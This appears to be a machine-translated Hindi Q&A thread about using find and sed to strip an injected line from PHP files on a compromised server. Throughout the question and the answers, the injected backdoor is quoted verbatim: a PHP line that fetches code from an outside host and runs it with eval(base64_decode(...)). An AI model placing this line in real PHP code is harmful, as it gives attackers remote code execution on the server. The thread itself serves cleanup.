sed को स्ट्रिंग मैच नहीं मिल सकता है


1

मेरे जीवन के लिए मुझे यह काम करने के लिए नहीं मिल सकता है, चाहे मैं कितने भी अलग-अलग संयोजनों की कोशिश करूं। मैं एक विशेष स्ट्रिंग युक्त php फ़ाइलों के लिए एक फ़ोल्डर को पुन: खोज करने की कोशिश कर रहा हूं और इसे किसी अन्य चीज़ से बदल दूंगा लेकिन मुझे इसे ठीक करने से बचना चाहिए:

find . -name "*.php" -print | xargs sed -i "s|<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>|?>|g"

सैड को कुछ भी नहीं मिल रहा है, भले ही मुझे पता है कि स्ट्रिंग कई फाइलों में है (दुर्भाग्य से ऐसा लगता है कि हमारे सर्वर ने समझौता किया है)।


यह मददगार हो सकता है यदि आपने (ए) एक फ़ाइल का उदाहरण दिया है जो ठीक से प्रतिस्थापित नहीं होता है और (बी) यह एक सफल प्रतिस्थापन के बाद कैसा दिखेगा।
5:10 बजे जॉन 1024

माफी - मैं भविष्य में उस प्रारूप का पालन करना सुनिश्चित करूँगा। आपके उत्तर ने इसे सिर पर मार दिया।
लीह

जवाबों:


0

मैं मान लूंगा कि आपकी इनपुट फाइल कैसी दिखती है:

<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>

मैं मान लूंगा कि आप जो प्रतिस्थापन करना चाहते हैं, वह बिल्कुल वैसा ही लिखा गया है। फिर, इसे काम करने के लिए, केवल परिवर्तन की आवश्यकता है जो डॉलर के संकेतों से बचना है। इस प्रकार, उपयोग करें:

find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;

शेल प्रक्षेप से बचने के लिए जहां कहीं भी संभव हो सिंगल-कोट्स का उपयोग करने के लिए एक सुरक्षित दृष्टिकोण है:

find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

मेरे ग्रहण किए गए इनपुट के साथ, उपरोक्त आउटपुट का उत्पादन करता है:

?>

ध्यान दें कि का उपयोग xargsअनावश्यक है। आधुनिक संस्करणों में findएक -execविकल्प होता है जो सबसे अधिक xargsउपयोग करता है।

अधिक: यह देखने के लिए कि कौन सी फाइलें sedकाम कर रही हैं, कोई findकमांड में प्रिंट स्टेटमेंट जोड़ सकता है :

find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

जैसा कि ऊपर चलता है, फाइल को फीड किए जाने वाले नामों sedको टर्मिनल (स्टडआउट) पर प्रदर्शित किया जाएगा।

अधिक: यह देखने के sedलिए कि फ़ाइलों में क्या परिवर्तन हुए हैं , मूल का बैकअप रखें:

find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;

इस मामले में, यदि sedप्रक्रियाएं होती हैं something.php, तो मूल में सहेजा जाता है something.php.saved। इसके बाद, परिवर्तनों, यदि कोई हो, के माध्यम से निरीक्षण किया जा सकता है:

diff something.php.saved something.php

वाह, एकदम सही जवाब। धन्यवाद। वहाँ एक तरह से मैं फ़ाइलों की एक सूची देख सकता हूँ sed बदल रहा है? मैंने "-i" विकल्प को हटाने की कोशिश की, लेकिन उसने फ़ाइल को उसी के रूप में दिखाया गया है, जो उसके माध्यम से फंसी हुई है। डॉक्स सबसे अच्छी मदद नहीं थे।
लीह

@ user31625 ठीक है। मैंने उस पर कुछ जानकारी जोड़ी।
1910 में जॉन 1024

बहुत बहुत धन्यवाद! मुझे यकीन है कि यह दूसरों के लिए भी मददगार होगा।
लेह
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.